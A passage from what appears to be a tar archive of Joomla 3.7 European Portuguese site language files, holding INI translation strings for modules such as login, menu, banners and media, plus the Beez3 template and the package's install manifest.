Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_WHOSONLINE="Quem está em linha" MOD_WHOSONLINE_FIELD_FILTER_GROUPS_DESC="Escolha para filtrar por grupos do utilizador autenticado" MOD_WHOSONLINE_FIELD_FILTER_GROUPS_LABEL="Filtrar grupos" MOD_WHOSONLINE_FIELD_LINKTOWHAT_DESC="Escolha o tipo de informação a apresentar" MOD_WHOSONLINE_FIELD_LINKTOWHAT_LABEL="Informação" MOD_WHOSONLINE_FIELD_VALUE_BOTH="Ambos" MOD_WHOSONLINE_FIELD_VALUE_CONTACT="Contacto" MOD_WHOSONLINE_FIELD_VALUE_NAMES="Nomes de utilizador" MOD_WHOSONLINE_FIELD_VALUE_NUMBER="N.º de Visitantes / Utilizadores" MOD_WHOSONLINE_FIELD_VALUE_PROFILE="Perfil" MOD_WHOSONLINE_GUESTS_0="0 visitantes" MOD_WHOSONLINE_GUESTS_1="1 visitante" MOD_WHOSONLINE_GUESTS="%s visitantes" MOD_WHOSONLINE_MEMBERS_0="0 membros" MOD_WHOSONLINE_MEMBERS_1="1 membro" MOD_WHOSONLINE_MEMBERS="%s membros" MOD_WHOSONLINE_SAME_GROUP_MESSAGE="Lista de utilizadores que pertencem aos seus grupos de utilizadores ou grupos dependentes" MOD_WHOSONLINE_SHOWMODE_DESC="Escolha o que será obrigatoriamente visualizado." MOD_WHOSONLINE_SHOWMODE_LABEL="Exibir" MOD_WHOSONLINE_XML_DESCRIPTION="O módulo QUEM ESTÁ EM LINHA exibe o número de utilizadores anónimos (ex. Convidados) e de utilizadores registados (os autenticados) e que estejam a visitar o sítio no momento." ; frontend display ; in the following string ; %1$s is for guests and %2$s for members MOD_WHOSONLINE_WE_HAVE="Temos %1$s e %2$s em linha" pt-PT.mod_login.ini 0000604 00000005241 15174407616 0010170 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Autenticação" MOD_LOGIN_FIELD_GREETING_DESC="Exibir ou ocultar o texto de saudação." MOD_LOGIN_FIELD_GREETING_LABEL="Exibir saudação" MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_DESC="Escolha ou crie a página para onde o utilizador será reencaminhado após iniciar sessão. O valor padrão é ficar na mesma página." MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_LABEL="Reencaminhamento no início de sessão" MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_DESC="Escolha ou crie a página para onde o utilizador será reencaminhado após terminar a sessão. O valor padrão é ficar na mesma página." MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_LABEL="Reencaminhamento no final de sessão" MOD_LOGIN_FIELD_NAME_DESC="Mostrar Nome Real e Nome de Utilizador depois de iniciar a sessão" MOD_LOGIN_FIELD_NAME_LABEL="Mostrar Nome/Utilizador" MOD_LOGIN_FIELD_POST_TEXT_DESC="Texto ou HTML que será exibido sob o formulário de início de sessão" MOD_LOGIN_FIELD_POST_TEXT_LABEL="Pós-texto" MOD_LOGIN_FIELD_PRE_TEXT_DESC="Texto ou HTML que será exibido por cima do formulário de início de sessão" MOD_LOGIN_FIELD_PRE_TEXT_LABEL="Antetexto" MOD_LOGIN_FIELD_PROFILE_LABEL="Mostrar hiperligação para perfil" MOD_LOGIN_FIELD_PROFILE_DESC="Mostrar uma hiperligação para a página de perfil do utilizador após a autenticação." MOD_LOGIN_FIELD_USESECURE_DESC="Enviar dados de autenticação encriptados através de HTTPS (ligações HTTP encriptadas e com o protocolo https:// ). Note que terá de ter HTTPS ativado no seu servidor antes de ativar esta opção." MOD_LOGIN_FIELD_USESECURE_LABEL="Encriptar formulário de autenticação" MOD_LOGIN_FIELD_USETEXT_DESC="Escolha texto ou ícones para mostrar os rótulos de campos. O padrão é ícones." MOD_LOGIN_FIELD_USETEXT_LABEL="Mostrar rótulos" MOD_LOGIN_FORGOT_YOUR_PASSWORD="Perdeu a senha?" MOD_LOGIN_FORGOT_YOUR_USERNAME="Esqueceu-se do nome de utilizador?" MOD_LOGIN_HINAME="Olá %s," MOD_LOGIN_PROFILE="Ver perfil" MOD_LOGIN_REGISTER="Registe-se!" MOD_LOGIN_REMEMBER_ME="Memorizar" MOD_LOGIN_VALUE_ICONS="Ícones" MOD_LOGIN_VALUE_NAME="Nome" MOD_LOGIN_VALUE_TEXT="Texto" MOD_LOGIN_VALUE_USERNAME="Nome de utilizador" MOD_LOGIN_XML_DESCRIPTION="Este módulo mostra o formulário de acesso com nome de utilizador e senha. Também mostra uma hiperligação para recuperar a senha esquecida. Se o registo de utilizadores estiver ativo (Utilizadores > Gerir > Opções), será mostrada outra hiperligação para permitir o auto-registo pelos utilizadores." pt-PT.tpl_beez3.ini 0000604 00000007023 15174407616 0010110 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BEEZ3_ADDITIONAL_INFORMATION="Informações adicionais" TPL_BEEZ3_ALTCLOSE="está fechado" TPL_BEEZ3_ALTOPEN="está aberto" TPL_BEEZ3_BIGGER="Aumentar" TPL_BEEZ3_CLICK="selecione" TPL_BEEZ3_CLOSEMENU="Fechar menu" TPL_BEEZ3_DECREASE_SIZE="Diminuir tamanho" TPL_BEEZ3_ERROR_JUMP_TO_NAV="Ir para a navegação" TPL_BEEZ3_FIELD_BOOTSTRAP_DESC="Criar uma lista separada por vírgulas com todos os componentes para os quais o Bootstrap seja necessário, por exemplo com_nome, com_outronome." TPL_BEEZ3_FIELD_BOOTSTRAP_LABEL="Componentes que necessitam de<br /> Bootstrap" TPL_BEEZ3_FIELD_DESCRIPTION_DESC="Por favor, adicione aqui a descrição do seu sítio" TPL_BEEZ3_FIELD_DESCRIPTION_LABEL="Descrição do sítio" TPL_BEEZ3_FIELD_HEADER_BACKGROUND_COLOR_DESC="Escolha uma cor para o fundo a aplicar quando estiver selecionada a opção de cor personalizada. Se deixado em branco será usada a cor padrão (#eeeeee)." TPL_BEEZ3_FIELD_HEADER_BACKGROUND_COLOR_LABEL="Cor de fundo" TPL_BEEZ3_FIELD_HEADER_IMAGE_DESC="Selecionar ou carregar uma imagem para ser usada como imagem de cabeçalho quando a opção de cor personalizada for selecionada." TPL_BEEZ3_FIELD_HEADER_IMAGE_LABEL="Imagem do cabeçalho" TPL_BEEZ3_FIELD_LOGO_DESC="Selecionar ou carregar uma imagem. Se não deseja utilizar um logótipo, carregue no botão Limpar e deixe o campo em branco." TPL_BEEZ3_FIELD_LOGO_LABEL="Logótipo" TPL_BEEZ3_FIELD_NAVPOSITION_DESC="Navegação antes ou depois do conteúdo." TPL_BEEZ3_FIELD_NAVPOSITION_LABEL="Posição da navegação" TPL_BEEZ3_FIELD_SITETITLE_DESC="Por favor, adicione aqui o título do sítio. Será exibido apenas se não utilizar um logótipo" TPL_BEEZ3_FIELD_SITETITLE_LABEL="Título do sítio" TPL_BEEZ3_FIELD_TEMPLATECOLOR_DESC="Cor do tema." TPL_BEEZ3_FIELD_TEMPLATECOLOR_LABEL="Cor do tema" TPL_BEEZ3_FIELD_WRAPPERLARGE_DESC="Largura de Embrulho com colunas fechadas adicionais e em percentagem" TPL_BEEZ3_FIELD_WRAPPERLARGE_LABEL="Embrulho grande (%)" TPL_BEEZ3_FIELD_WRAPPERSMALL_DESC="Largura de Embrulho com colunas abertas adicionais e em percentagem" TPL_BEEZ3_FIELD_WRAPPERSMALL_LABEL="Embrulho pequeno (%)" TPL_BEEZ3_FONTSIZE="Tamanho de letra" TPL_BEEZ3_INCREASE_SIZE="Aumentar tamanho" TPL_BEEZ3_JUMP_TO_INFO="Ir para informação adicional" TPL_BEEZ3_JUMP_TO_NAV="Ir para navegação principal e autenticação" TPL_BEEZ3_NAVIGATION="Navegação" TPL_BEEZ3_NAV_VIEW_SEARCH="Pesquisa em vista de navegação" TPL_BEEZ3_NEXTTAB="Separador seguinte" TPL_BEEZ3_OPENMENU="Abrir menu" TPL_BEEZ3_OPTION_AFTER_CONTENT="após o conteúdo" TPL_BEEZ3_OPTION_BEFORE_CONTENT="antes do conteúdo" TPL_BEEZ3_OPTION_IMAGE="Personalizado" TPL_BEEZ3_OPTION_NATURE="Natural" TPL_BEEZ3_OPTION_PERSONAL="Pessoal" TPL_BEEZ3_OPTION_RED="Vermelho" TPL_BEEZ3_OPTION_TURQ="Turquesa" TPL_BEEZ3_POWERED_BY="Produzido em" TPL_BEEZ3_RESET="Repor" TPL_BEEZ3_REVERT_STYLES_TO_DEFAULT="Repor estilos para o padrão" TPL_BEEZ3_SEARCH="Pesquisar" TPL_BEEZ3_SKIP_TO_CONTENT="Ir para conteúdo" TPL_BEEZ3_SKIP_TO_ERROR_CONTENT="Ir para mensagem de erro e pesquisar" TPL_BEEZ3_SMALLER="Diminuir" TPL_BEEZ3_SYSTEM_MESSAGE="Erro" TPL_BEEZ3_TEXTRIGHTCLOSE="Fechar Informação" TPL_BEEZ3_TEXTRIGHTOPEN="Abrir Informação" TPL_BEEZ3_XML_DESCRIPTION="Beez 3 - Tema para acessibilidade em Joomla v3.x, versão HTML 5." TPL_BEEZ3_YOUR_SITE_DESCRIPTION="Descrição do seu sítio" pt-PT.lib_fof.sys.ini 0000604 00000000546 15174407616 0010441 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 LIB_FOF_XML_DESCRIPTION="Framework-on-Framework (FOF) - Uma estrutura para desenvolvimento rápido de aplicações para Joomla!" pt-PT.mod_banners.ini 0000604 00000003465 15174407616 0010516 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS_NO_CLIENT="- Sem cliente -" MOD_BANNERS="Faixas publicitárias" MOD_BANNERS_BANNER="Faixa publicitária" MOD_BANNERS_FIELD_BANNERCLIENT_DESC="Escolher faixas publicitárias apenas de um cliente." MOD_BANNERS_FIELD_BANNERCLIENT_LABEL="Cliente" MOD_BANNERS_FIELD_CACHETIME_DESC="O tempo para que a cache do módulo seja renovada." MOD_BANNERS_FIELD_CACHETIME_LABEL="Tempo em cache" MOD_BANNERS_FIELD_CATEGORY_DESC="Escolher faixas publicitárias de um categoria específica ou de um grupo de categorias. Se nada for selecionado, por padrão, serão mostradas todas as categorias." MOD_BANNERS_FIELD_COUNT_DESC="O número de faixas a exibir (o padrão é 5)" MOD_BANNERS_FIELD_COUNT_LABEL="Contagem" MOD_BANNERS_FIELD_FOOTER_DESC="Texto ou HTML para exibir a seguir ao grupo de faixas" MOD_BANNERS_FIELD_FOOTER_LABEL="Texto de rodapé" MOD_BANNERS_FIELD_HEADER_DESC="Texto ou HTML para exibir antes do grupo de faixas" MOD_BANNERS_FIELD_HEADER_LABEL="Texto de cabeçalho" MOD_BANNERS_FIELD_RANDOMISE_DESC="Ordenar faixas aleatoriamente." MOD_BANNERS_FIELD_RANDOMISE_LABEL="Aleatório" MOD_BANNERS_FIELD_TAG_DESC="A faixa publicitária é selecionada por correspondência das etiquetas da faixa com os meta-termos do documento atual." MOD_BANNERS_FIELD_TAG_LABEL="Pesquisar por meta-termos" MOD_BANNERS_FIELD_TARGET_DESC="Janela alvo quando a hiperligação for carregada." MOD_BANNERS_FIELD_TARGET_LABEL="Alvo" MOD_BANNERS_VALUE_STICKYORDERING="Fixo, ordenado" MOD_BANNERS_VALUE_STICKYRANDOMISE="Fixo, aleatório" MOD_BANNERS_XML_DESCRIPTION="O Módulo de publicidade exibe as faixas ativas no componente." pt-PT.mod_menu.sys.ini 0000604 00000000542 15174407616 0010640 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Menu" MOD_MENU_XML_DESCRIPTION="Este módulo exibe um menu no sítio público." MOD_MENU_LAYOUT_DEFAULT="Padrão" install.xml 0000604 00000001427 15174407616 0006747 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <extension version="3.7" client="site" type="language" method="upgrade"> <name>Portuguese (pt-PT)</name> <tag>pt-PT</tag> <version>3.7.0.1</version> <creationDate>2017-04-26</creationDate> <author>Comunidade JoomlaPortugal</author> <authorEmail>comunidadejoomlapt@gmail.com</authorEmail> <authorUrl>www.joomlaportugal.org</authorUrl> <copyright>Direitos de Autor (C) 2005 - 2017 Open Source Matters. Todos os direitos reservados.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <description>Português de Portugal (pt-PT). Idioma de interface de sítio para Joomla 3.x</description> <files> <folder>/</folder> <filename file="meta">install.xml</filename> </files> <params /> </extension> pt-PT.mod_menu.ini 0000604 00000003735 15174407616 0010032 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Menu" MOD_MENU_FIELD_ACTIVE_DESC="Selecione um item do menu para ser utilizado sempre como base para a exibição do menu. Tem de definir o nível inicial para o mesmo nível ou superior ao nível do item base. Isto fará com que o módulo seja exibido em todas as páginas atribuídas. e selecionar ATUAL, o item neste momento ativo será usado como base. Isto fará com que o módulo apareça apenas quando o item de menu superior esteja ativo." MOD_MENU_FIELD_ACTIVE_LABEL="Item base" MOD_MENU_FIELD_ALLCHILDREN_DESC="Expandir o menu e tornar os seus submenus sempre visíveis." MOD_MENU_FIELD_ALLCHILDREN_LABEL="Mostrar itens de submenu" MOD_MENU_FIELD_CLASS_DESC="Um sufixo a ser aplicado à classe css dos itens de menu" MOD_MENU_FIELD_CLASS_LABEL="Sufixo de classe do menu" MOD_MENU_FIELD_ENDLEVEL_DESC="Último nível a apresentar no menu. Se escolher 'Todos', serão apresentados todos os níveis dependendo da configuração MOSTRAR ITENS DE SUBMENU." MOD_MENU_FIELD_ENDLEVEL_LABEL="Nível final" MOD_MENU_FIELD_MENUTYPE_DESC="Escolha um menu da lista" MOD_MENU_FIELD_MENUTYPE_LABEL="Escolher menu" MOD_MENU_FIELD_STARTLEVEL_DESC="Primeiro nível a apresentar no menu. Ao definir os níveis inicial e final para o mesmo valor e configurar MOSTRAR ITENS DE SUBMENU para SIM, apenas irá mostrar esse nível." MOD_MENU_FIELD_STARTLEVEL_LABEL="Nível de início" MOD_MENU_FIELD_TAG_ID_DESC="Um ID para atribuir à etiqueta UL de nível base no menu (opcional)" MOD_MENU_FIELD_TAG_ID_LABEL="ID da etiqueta de menu" MOD_MENU_FIELD_TARGET_DESC="Valores do JavaScript para posicionar uma janela flutuante. Exemplo: top=50, left=50, width=200, height=300" MOD_MENU_FIELD_TARGET_LABEL="Posição de destino" MOD_MENU_XML_DESCRIPTION="Este módulo exibe um menu no sítio." pt-PT.com_mailto.ini 0000604 00000002045 15174407616 0010343 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MAILTO="Enviar email para" COM_MAILTO_CANCEL="Cancelar" COM_MAILTO_CLOSE_WINDOW="Fechar Janela" COM_MAILTO_EMAIL_ERR_NOINFO="Por favor indique um endereço de email válido." COM_MAILTO_EMAIL_INVALID="O endereço '%s' não parece ser um endereço de email válido." COM_MAILTO_EMAIL_MSG="Este email vem de (%s) enviado por %s (%s). Também poderá considerar a seguinte hiperligação interessante: %s" COM_MAILTO_EMAIL_NOT_SENT="O email não pode ser enviado." COM_MAILTO_EMAIL_SENT="O email foi enviado com sucesso." COM_MAILTO_EMAIL_TO="Email para" COM_MAILTO_EMAIL_TO_A_FRIEND="Envie esta ligação a um amigo." COM_MAILTO_LINK_IS_MISSING="Falta a hiperligação" COM_MAILTO_SEND="Enviar" COM_MAILTO_SENDER="Enviado por" COM_MAILTO_SENT_BY="Item enviado por" COM_MAILTO_SUBJECT="Assunto" COM_MAILTO_YOUR_EMAIL="O seu Email" pt-PT.mod_footer.ini 0000604 00000001302 15174407616 0010350 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Note : %date% will be auto replaced by current year !Don't translate MOD_FOOTER="Rodapé" MOD_FOOTER_LINE1="Direitos de autor © %date% %sitename%. Todos os direitos reservados." MOD_FOOTER_LINE2="<a href="_QQ_"https://www.joomla.org"_QQ_">Joomla!</a> é um software livre produzido sob a <a href="_QQ_"https://www.gnu.org/licenses/gpl-2.0.html"_QQ_">licença GNU GPL.</a>" MOD_FOOTER_XML_DESCRIPTION="Este módulo exibe as informações de direitos de autor do Joomla!" pt-PT.mod_login.sys.ini 0000604 00000001163 15174407616 0011004 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Autenticação" MOD_LOGIN_XML_DESCRIPTION="Este módulo mostra o formulário de acesso com nome de utilizador e senha. Também mostra uma hiperligação para recuperar a senha esquecida. Se o registo de utilizadores estiver ativo (Utilizadores > Gerir > Opções), será mostrada outra hiperligação para permitir o auto-registo pelos utilizadores." MOD_LOGIN_LAYOUT_DEFAULT="Padrão" pt-PT.com_media.ini 0000604 00000013422 15174407616 0010136 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA_ALIGN="Flutuação de imagem" COM_MEDIA_ALIGN_DESC="Isto irá aplicar as classes 'pull-left', 'pull-center' ou 'pull-right' ao elemento '<figure>' ou '<img>'" COM_MEDIA_BROWSE_FILES="Navegar em ficheiros" COM_MEDIA_CAPTION="Legenda" COM_MEDIA_CAPTION_CLASS_LABEL="Classe da legenda" COM_MEDIA_CAPTION_CLASS_DESC="Isto vai aplicar a classe introduzida ao elemento '<figcaption>'. Por exemplo: 'text-left', 'text-right', 'text-center'" COM_MEDIA_CLEAR_LIST="Limpar lista" COM_MEDIA_CONFIGURATION="Media - Opções" COM_MEDIA_CREATE_FOLDER="Criar diretório" COM_MEDIA_CURRENT_PROGRESS="Progresso atual" COM_MEDIA_DESCFTP="Para enviar, modificar e eliminar ficheiros multimédia, o Joomla eventualmente necessitará dos dados relativos ao acesso FTP ao servidor. Por favor coloque-os nos campos do formulário abaixo." COM_MEDIA_DESCFTPTITLE="Detalhes da autenticação FTP" COM_MEDIA_DETAIL_VIEW="Vista de detalhes" COM_MEDIA_DIRECTORY="Pasta" COM_MEDIA_DIRECTORY_UP="Diretório acima" COM_MEDIA_ERROR_BAD_REQUEST="Pedido inválido" COM_MEDIA_ERROR_FILE_EXISTS="O ficheiro já existe" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Não foi possível criar o diretório. O nome da pasta não pode conter espaços e apenas pode conter caracteres alfanuméricos. " COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME="Não é possível navegar em:  %s. O nome do diretório não pode conter espaços e deve ser apenas composto apenas por caracteres alfanuméricos. " COM_MEDIA_ERROR_UNABLE_TO_DELETE="Impossível apagar: " COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Não foi possível apagar: %s. Os nomes dos ficheiros deve ser composto apenas por caracteres alfanuméricos e sem espaços." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Não foi possível apagar: %s. A pasta não está vazia!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Não foi possível apagar:  %s. O nome de uma pasta deve ser composto apenas por caracteres alfanuméricos e sem espaços." COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Impossível enviar o ficheiro para o servidor." COM_MEDIA_ERROR_WARNFILETOOLARGE="O ficheiro é demasiado grande para enviar para o servidor." COM_MEDIA_ERROR_WARNUPLOADTOOLARGE="Tamanho total do carregamento excede o limite." COM_MEDIA_FIELD_CHECK_MIME_DESC="Usar o MIME Magic ou o Fileinfo para tentar verificar ficheiros. Tente desativar esta opção se estiver a receber erros de tipo de mime inválido" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Verifique os tipos MIME" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Ignorar as extensões de ficheiro para verificação do tipo MIME e envio de ficheiros restritos." COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Extensões ignoradas" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="Lista separada por virgulas dos tipos MIME inválidos para carregamento (lista negra)." COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Tipos MIME inválidos" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC="Extensões (tipos de ficheiro) permitidos para enviar para o servidor (separados por virgulas)." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Extensões permitidas (tipos de ficheiro)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC="Extensões de imagem (tipos de ficheiro) permitidos para enviar para o servidor (separados por virgulas). Utilizado para verificar a validade dos cabeçalhos das imagens." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Extensões de imagem válidas (tipos de ficheiro)" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="Lista separada por virgulas dos tipos MIME válidos para carregamentos." COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Tipos MIME válidos" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="Tamanho máximo por envio de ficheiros (em megabytes). Utilize zero para não estabelecer um limite. Atenção: o servidor terá um limite máximo configurado." COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Tam. máximo (em MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Introduza o caminho, relativo à raiz, para o diretório de ficheiros." COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Caminho para o diretório de ficheiros" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Introduza o caminho, relativo à raiz, para a pasta das imagens." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Caminho do diretório de imagens" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Restringir carregamentos apenas a ficheiros de imagem, para utilizadores abaixo de GESTOR, caso o Fileinfo ou o MIME Magic não esteja instalado." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Restringir carregamentos" COM_MEDIA_FILES="Ficheiros" COM_MEDIA_FILESIZE="Tamanho do ficheiro" COM_MEDIA_FOLDER="Diretório" COM_MEDIA_FOLDERS="Diretórios" COM_MEDIA_IMAGE_DESCRIPTION="Descrição da imagem - ALT" COM_MEDIA_IMAGE_URL="URL da imagem" COM_MEDIA_INSERT="Inserir" COM_MEDIA_INSERT_IMAGE="Inserir imagem" COM_MEDIA_MAXIMUM_SIZE="Tamanho máximo" COM_MEDIA_MEDIA="Media" COM_MEDIA_NAME="Nome da imagem" COM_MEDIA_NO_IMAGES_FOUND="Nenhuma imagem encontrada" COM_MEDIA_NOT_SET="Não definido" COM_MEDIA_OVERALL_PROGRESS="Progresso global" COM_MEDIA_PIXEL_DIMENSIONS="Dimensões em pixéis (L x A)" COM_MEDIA_START_UPLOAD="Iniciar envio de ficheiros para o servidor" COM_MEDIA_THUMBNAIL_VIEW="Ver miniaturas" COM_MEDIA_TITLE="Título da imagem" COM_MEDIA_UP="Acima" COM_MEDIA_UPLOAD="Carregar" ; The following two strings are deprecated with 3.7.0 and will be removed in 4.0 COM_MEDIA_UPLOAD_FILES="Carregamento de ficheiros (tamanho máximo: %s MB)" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Carregamento de ficheiros (sem tamanho máximo)" COM_MEDIA_UPLOAD_COMPLETE="Carregamento completo" COM_MEDIA_UPLOAD_FILE="Carregar ficheiro" COM_MEDIA_UPLOAD_SUCCESSFUL="Envio realizado com sucesso" pt-PT.mod_weblinks.ini 0000604 00000005117 15174407616 0010700 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_WEBLINKS="Marcadores Web" MOD_WEBLINKS_FIELD_CATEGORY_DESC="Escolher a categoria de ligações a mostrar" MOD_WEBLINKS_FIELD_GROUPBY_DESC="Se definido como Sim, os marcadores web serão agrupados por subcategorias." MOD_WEBLINKS_FIELD_GROUPBY_LABEL="Agrupar por subcategorias" MOD_WEBLINKS_FIELD_GROUPBYSHOWTITLE_DESC="Se definido como Sim, vai mostrar títulos de grupos (válido apenas se usar grupamento)." MOD_WEBLINKS_FIELD_GROUPBYSHOWTITLE_LABEL="Mostrar título do grupo" MOD_WEBLINKS_FIELD_GROUPBYORDERING_DESC="Ordenação para subcategorias (válido apenas se usar grupamento)." MOD_WEBLINKS_FIELD_GROUPBYORDERING_LABEL="Ordenação de grupo" MOD_WEBLINKS_FIELD_GROUPBYDIRECTION_DESC="Sentido para as subcategorias (válido apenas se usar grupamento)." MOD_WEBLINKS_FIELD_GROUPBYDIRECTION_LABEL="Sentido da ordenação do grupo" MOD_WEBLINKS_FIELD_COLUMNS_DESC="Quando agrupar por subcategorias, dividir em quantas colunas." MOD_WEBLINKS_FIELD_COLUMNS_LABEL="Colunas" MOD_WEBLINKS_FIELD_COUNT_DESC="Número de ligações a exibir." MOD_WEBLINKS_FIELD_COUNT_LABEL="Contagem" MOD_WEBLINKS_FIELD_COUNTCLICKS_DESC="Se definido como SIM será guardado o número de vezes em que a ligação foi clicada." MOD_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Contar cliques" MOD_WEBLINKS_FIELD_DESCRIPTION_DESC="Mostrar a descrição da ligação" MOD_WEBLINKS_FIELD_DESCRIPTION_LABEL="Descrição" MOD_WEBLINKS_FIELD_FOLLOW_DESC="Robôs de indexação - Permitir, ou não, seguir" MOD_WEBLINKS_FIELD_FOLLOW_LABEL="Seguir/Não Seguir" MOD_WEBLINKS_FIELD_HITS_DESC="Mostrar visualizações." MOD_WEBLINKS_FIELD_HITS_LABEL="Acessos" MOD_WEBLINKS_FIELD_ORDERDIRECTION_DESC="Definir o sentido da ordenação." MOD_WEBLINKS_FIELD_ORDERDIRECTION_LABEL="Sentido" MOD_WEBLINKS_FIELD_ORDERING_DESC="Ordem dos marcadores Web." MOD_WEBLINKS_FIELD_ORDERING_LABEL="Ordenação" MOD_WEBLINKS_FIELD_TARGET_DESC="Janela de destino quando a hiperligação é selecionada." MOD_WEBLINKS_FIELD_TARGET_LABEL="Janela alvo" MOD_WEBLINKS_FIELD_VALUE_ASCENDING="Crescente" MOD_WEBLINKS_FIELD_VALUE_DESCENDING="Decrescente" MOD_WEBLINKS_FIELD_VALUE_FOLLOW="Seguir" MOD_WEBLINKS_FIELD_VALUE_HITS="Acessos" MOD_WEBLINKS_FIELD_VALUE_NOFOLLOW="Não seguir" MOD_WEBLINKS_FIELD_VALUE_ORDER="Ordem" MOD_WEBLINKS_HITS="Acessos" MOD_WEBLINKS_XML_DESCRIPTION="Este módulo exibe sítios a partir de uma categoria definida no componente Marcadores Web." pt-PT.lib_phpass.sys.ini 0000604 00000001321 15174407616 0011155 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 LIB_PHPASS="phpass" LIB_PHPASS_XML_DESCRIPTION="PHPass é uma estrutura de hash de senha portátil para uso em aplicações PHP. O método preferido de hashing (o mais seguro), apoiado por phpass é o OpenBSD-style bcrypt (conhecido em PHP como CRYPT_BLOWFISH), com fallback para BSDI-style estendido DES-based hashes (conhecidas em PHP como CRYPT_EXT_DES), e em último recurso para um método de hashing de contagem de senha variável com iteração baseada em MD5 implementado em phpass." pt-PT.mod_articles_archive.ini 0000604 00000001215 15174407616 0012364 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_ARCHIVE="Artigos - Arquivados" MOD_ARTICLES_ARCHIVE_FIELD_COUNT_LABEL="n.º de meses" MOD_ARTICLES_ARCHIVE_FIELD_COUNT_DESC="Número de meses a exibir (o padrão é 10)" MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION="Este módulo apresenta uma lista dos meses com artigos arquivados. Esta lista será gerada automaticamente quando alterar o estatuto de um artigo para arquivado." MOD_ARTICLES_ARCHIVE_DATE="%1$s, %2$s" pt-PT.com_newsfeeds.ini 0000604 00000002160 15174407616 0011037 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see 